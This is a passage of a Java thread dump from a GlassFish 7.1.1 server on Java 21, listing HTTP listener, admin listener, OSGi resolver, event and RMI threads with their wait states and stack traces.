java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-listener-2(1)" #70 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@278d7d8b + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"JarFileManager-1" #95 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4f8451c9 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-1" #24 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3ff0664b + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"CM Configuration Updater" #45 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4e8e035a + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:485) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:673) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:73) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-listener-2(4)" #73 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@278d7d8b + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"events-103" #103 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@3562b6b + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-11" #39 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3ff0664b + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-listener-2-kernel(1) SelectorRunner" #76 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FileSystemWatchService" #128 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.fs.LinuxWatchService.poll(Native Method) + at java.base@21.0.11/sun.nio.fs.LinuxWatchService$Poller.run(LinuxWatchService.java:307) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"RMI TCP Connection(1)-192.168.215.4" #120 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.Net.poll(Native Method) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:191) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:280) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:304) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:346) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:796) + at java.base@21.0.11/java.net.Socket$SocketInputStream.read(Socket.java:1099) + at java.base@21.0.11/java.io.BufferedInputStream.fill(BufferedInputStream.java:291) + at java.base@21.0.11/java.io.BufferedInputStream.implRead(BufferedInputStream.java:325) + at java.base@21.0.11/java.io.BufferedInputStream.read(BufferedInputStream.java:312) + at java.base@21.0.11/java.io.FilterInputStream.read(FilterInputStream.java:71) + at java.rmi@21.0.11/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:580) + at java.rmi@21.0.11/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:844) + at java.rmi@21.0.11/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:721) + at java.rmi@21.0.11/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda/0x0000000301549e30.run(Unknown Source) + at java.base@21.0.11/java.security.AccessController.executePrivileged(AccessController.java:778) + at java.base@21.0.11/java.security.AccessController.doPrivileged(AccessController.java:400) + at java.rmi@21.0.11/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:720) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-listener-1(4)" #64 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@6bc39a56 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Logging pump for 'jakarta.enterprise.logging.stderr'" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@57ae3e63 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at app/org.glassfish.main.jul@7.1.1/org.glassfish.main.jul.handler.LogRecordBuffer.pollOrWait(LogRecordBuffer.java:155) + at app/org.glassfish.main.jul@7.1.1/org.glassfish.main.jul.handler.LoggingOutputStream$Pump.logAllPendingRecordsOrWait(LoggingOutputStream.java:197) + at app/org.glassfish.main.jul@7.1.1/org.glassfish.main.jul.handler.LoggingOutputStream$Pump.run(LoggingOutputStream.java:159) + +"EventAdminAsyncThread #9" #129 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@49a4dd9c + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"admin-listener(1)" #77 daemon [WAITING] on java.lang.Object@5ab58e8f + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:170) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"EventAdminAsyncThread #4" #117 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@49a4dd9c + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-listener-1(5)" #65 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@6bc39a56 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"RunLevelControllerThread-1785503416319" #51 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@41bf6aff + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"CM Event Dispatcher" #46 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7270f6fe + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:485) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:673) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:73) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"admin-listener(2)" #78 daemon [WAITING] on java.lang.Object@5ab58e8f + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:170) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"EventAdminAsyncThread #3" #116 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@49a4dd9c + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web]]" #94 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Thread.sleep0(Native Method) + at java.base@21.0.11/java.lang.Thread.sleep(Thread.java:509) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1735) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"admin-listener(5)" #81 daemon [WAITING] on java.lang.Object@5ab58e8f + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:170) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-listener-2(3)" #72 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@278d7d8b + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"EventAdminAsyncThread #8" #123 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@49a4dd9c + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"admin-listener-expirer(1)" #82 daemon [TIMED_WAITING] on java.lang.Object@50b385af + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:148) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"EventAdminAsyncThread #6" #121 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@49a4dd9c + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-10" #38 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3ff0664b + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Common-Cleaner" #18 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e677afa + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at 